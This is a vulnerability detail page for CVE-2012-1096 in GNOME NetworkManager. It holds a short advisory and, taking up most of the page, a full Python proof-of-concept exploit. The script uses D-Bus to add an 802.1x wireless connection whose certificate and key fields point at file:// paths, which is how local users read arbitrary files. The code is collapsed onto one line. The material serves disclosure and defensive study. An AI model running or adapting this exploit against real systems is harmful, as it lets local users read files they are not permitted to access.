CVE-2012-1096 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/52206/info GNOME NetworkManager is prone to a local arbitrary file-access vulnerability. Local attackers can exploit this issue to read arbitrary files. This may lead to further attacks. NetworkManager 0.6, 0.7, and 0.9 are vulnerable; other versions may also be affected. #!/usr/bin/python # # Copyright (C) 2011 SUSE LINUX Products GmbH # # Author: Ludwig Nussel # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # version 2 as published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA import gobject import dbus import dbus.service import dbus.mainloop.glib import os import subprocess def N_(x): return x _debug_level = 0 def debug(level, msg): if (level <= _debug_level): print '<%d>'%level, msg class NetworkManager(gobject.GObject): NM_STATE = { 0: 'UNKNOWN', 10: 'UNMANAGED', 20: 'UNAVAILABLE', 30: 'DISCONNECTED', 40: 'PREPARE', 50: 'CONFIG', 60: 'NEED_AUTH', 70: 'IP_CONFIG', 80: 'IP_CHECK', 90: 'SECONDARIES', 100: 'ACTIVATED', 110: 'DEACTIVATING', 120: 'FAILED', } NM_DEVICE_TYPE = { 0: 'NM_DEVICE_TYPE_UNKNOWN', # The device type is unknown. 1: 'NM_DEVICE_TYPE_ETHERNET', # The device is wired Ethernet device. 2: 'NM_DEVICE_TYPE_WIFI', # The device is an 802.11 WiFi device. 3: 'NM_DEVICE_TYPE_UNUSED1', # Unused 4: 'NM_DEVICE_TYPE_UNUSED2', # Unused 5: 'NM_DEVICE_TYPE_BT', # The device is Bluetooth device that provides PAN or DUN capabilities. 6: 'NM_DEVICE_TYPE_OLPC_MESH', # The device is an OLPC mesh networking device. 7: 'NM_DEVICE_TYPE_WIMAX', # The device is an 802.16e Mobile WiMAX device. 8: 'NM_DEVICE_TYPE_MODEM', # The device is a modem supporting one or more of analog telephone, CDMA/EVDO, GSM/UMTS/HSPA, or LTE standards to access a cellular or wireline data network. } NM_802_11_AP_SEC = { 'NM_802_11_AP_SEC_NONE': 0x0, # Null flag. 'NM_802_11_AP_SEC_PAIR_WEP40': 0x1, # Access point supports pairwise 40-bit WEP encryption. 'NM_802_11_AP_SEC_PAIR_WEP104': 0x2, # Access point supports pairwise 104-bit WEP encryption. 'NM_802_11_AP_SEC_PAIR_TKIP': 0x4, # Access point supports pairwise TKIP encryption. 'NM_802_11_AP_SEC_PAIR_CCMP': 0x8, # Access point supports pairwise CCMP encryption. 'NM_802_11_AP_SEC_GROUP_WEP40': 0x10, # Access point supports a group 40-bit WEP cipher. 'NM_802_11_AP_SEC_GROUP_WEP104': 0x20, # Access point supports a group 104-bit WEP cipher. 'NM_802_11_AP_SEC_GROUP_TKIP': 0x40, # Access point supports a group TKIP cipher. 'NM_802_11_AP_SEC_GROUP_CCMP': 0x80, # Access point supports a group CCMP cipher. 'NM_802_11_AP_SEC_KEY_MGMT_PSK': 0x100, # Access point supports PSK key management. 'NM_802_11_AP_SEC_KEY_MGMT_802_1X': 0x200, # Access point supports 802.1x key management. } def __init__(self): self.bus = dbus.SystemBus() self.proxy = None self.manager = None self.running = False self.devices = {} self.devices_by_name = {} self.aps = {} self.ap_by_addr = {} self.ap_by_ssid = {} self.check_status() self.bus.add_signal_receiver( lambda name, old, new: self.nameowner_changed_handler(name, old, new), bus_name='org.freedesktop.DBus', dbus_interface='org.freedesktop.DBus', signal_name='NameOwnerChanged') self.bus.add_signal_receiver( lambda device, **kwargs: self.device_add_rm(device, True, **kwargs), bus_name='org.freedesktop.NetworkManager', dbus_interface = 'org.freedesktop.NetworkManager', signal_name = 'DeviceAdded', sender_keyword = 'sender') self.bus.add_signal_receiver( lambda device, **kwargs: self.device_add_rm(device, False, **kwargs), bus_name='org.freedesktop.NetworkManager', dbus_interface = 'org.freedesktop.NetworkManager', signal_name = 'DeviceRemoved', sender_keyword = 'sender') def cleanup(self): self.switcher = None def devstate2name(self, state): if state in self.NM_STATE: return self.NM_STATE[state] return "UNKNOWN:%s"%state def devtype2name(self, type): if type in self.NM_DEVICE_TYPE: return self.NM_DEVICE_TYPE[type] return "UNKNOWN:%s"%type def secflags2str(self, flags): a = [] for key in self.NM_802_11_AP_SEC.keys(): if self.NM_802_11_AP_SEC[key] and flags&self.NM_802_11_AP_SEC[key]: a.append(key[len('NM_802_11_AP_SEC_'):]) return ' '.join(a) def nameowner_changed_handler(self, name, old, new): if name != 'org.freedesktop.NetworkManager': return off = old and not new self.check_status(off) def device_add_rm(self, device, added, sender=None, **kwargs): if (added): dev = self.bus.get_object("org.freedesktop.NetworkManager", device) props = dbus.Interface(dev, "org.freedesktop.DBus.Properties") name = props.Get("org.freedesktop.NetworkManager.Device", "Interface") devtype = props.Get("org.freedesktop.NetworkManager.Device", "DeviceType") debug(0,"device %s, %s added"%(name, self.devtype2name(devtype))) self.devices[device] = name self.devices_by_name[name] = device if devtype == 2: wifi = dbus.Interface(dev, "org.freedesktop.NetworkManager.Device.Wireless") aps = wifi.GetAccessPoints() for path in aps: ap = self.bus.get_object("org.freedesktop.NetworkManager", path) props = dbus.Interface(ap, "org.freedesktop.DBus.Properties") ssid_raw = props.Get("org.freedesktop.NetworkManager.AccessPoint", "Ssid") addr = props.Get("org.freedesktop.NetworkManager.AccessPoint", "HwAddress") wpaflags = props.Get("org.freedesktop.NetworkManager.AccessPoint", "WpaFlags") rsnflags = props.Get("org.freedesktop.NetworkManager.AccessPoint", "RsnFlags") ssid = '' for b in ssid_raw: if b > 20 and b < 126: ssid += str(b) else: ssid += '0x%02x'%b self.aps[path] = { 'Ssid' : ssid_raw, '_ssid_readable' : ssid, 'HwAddress' : addr, 'WpaFlags' : wpaflags, 'RsnFlags' : rsnflags, } self.ap_by_addr[addr] = path if not ssid in self.ap_by_ssid: self.ap_by_ssid[ssid] = set({}) self.ap_by_ssid[ssid].add(path) for ssid in sorted(self.ap_by_ssid.keys()): print ssid for path in self.ap_by_ssid[ssid]: ap = self.aps[path] print ' ', ap['HwAddress'] if ap['WpaFlags']: print " WPA: ", self.secflags2str(ap['WpaFlags']) if ap['RsnFlags']: print " RSN: ", self.secflags2str(ap['RsnFlags']) else: if not device in self.devices: debug(0, "got remove signal for unknown device %s removed"%device) else: name = self.devices[device] del self.devices[device] del self.devices_by_name[name] debug(0,"device %s removed"%name) def _connect_nm(self): try: self.proxy = self.bus.get_object("org.freedesktop.NetworkManager", "/org/freedesktop/NetworkManager") self.manager = manager = dbus.Interface(self.proxy, "org.freedesktop.NetworkManager") running = True except dbus.DBusException, e: running = False print e return running def check_status(self, force_off=False): if (force_off): running = False else: running = self.running if (not self.manager): running = self._connect_nm() if (running): if (not self.running): devices = self.manager.GetDevices() for d in devices: self.device_add_rm(d, True) if (not running): self.proxy = self.manager = None self.running = running debug(1,"NM Running: %s"%self.running) def addcon(self, params, device, ap = '/'): if device[0] != '/': if not device in self.devices_by_name: print "Error: device not known" sys.exit(1) device = self.devices_by_name[device] if ap[0] != '/' and not 'ssid' in params['802-11-wireless']: params['802-11-wireless']['ssid'] = [dbus.Byte(ord(c)) for c in ap] if not ap in self.ap_by_ssid: print "Warning: ssid not known" ap = '/' else: ap = '/' self.manager.AddAndActivateConnection(params, device, ap) if __name__ == '__main__': from optparse import OptionParser parser = OptionParser(usage="%prog [options]") parser.add_option('--debug', dest="debug", metavar='N', action='store', type='int', default=0, help="debug level") (opts, args) = parser.parse_args() if opts.debug: _debug_level = opts.debug dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) mainloop = gobject.MainLoop() bus = dbus.SystemBus() nm = NetworkManager() if len(args) == 0: #mainloop.run() True elif args[0] == 'new': conn = { 'connection': { 'permissions': [ 'user:joesix:' ], 'autoconnect': False, 'type': '802-11-wireless', }, '802-11-wireless': { #'ssid': [ dbus.Byte(ord(c)) for c in "something" ], 'mode': 'infrastructure', 'security': '802-11-wireless-security', }, '802-1x': { 'eap': [ 'tls' ], # peap, ttls 'client-cert': [ dbus.Byte(ord(c)) for c in 'file:///home/foo/certs/cert.pem' ] + [ dbus.Byte(0) ], 'private-key': [ dbus.Byte(ord(c)) for c in 'file:///home/foo/certs/key.pem' ] + [ dbus.Byte(0) ], 'ca-cert': [ dbus.Byte(ord(c)) for c in 'file:///home/foo/certs/cacert.pem' ] + [ dbus.Byte(0) ], 'private-key-password': "12345", #'ca-cert': 'hash://server/sha256/5336d308fa263f9f07325baae58ac972876f419527a9bf67c5ede3e668d3a925', #'subject-match': '/CN=blah/emailAddress=foo@bar', #'phase2-auth': 'mschapv2', 'identity': 'test1', #'password': 'test1', }, '802-11-wireless-security': { 'key-mgmt': 'wpa-eap', 'auth-alg': 'open', }, } dev = args[1] ap = None if len(args) > 2: ap = args[2] nm.addcon(conn, dev, ap) # vim: sw=4 ts=8 noet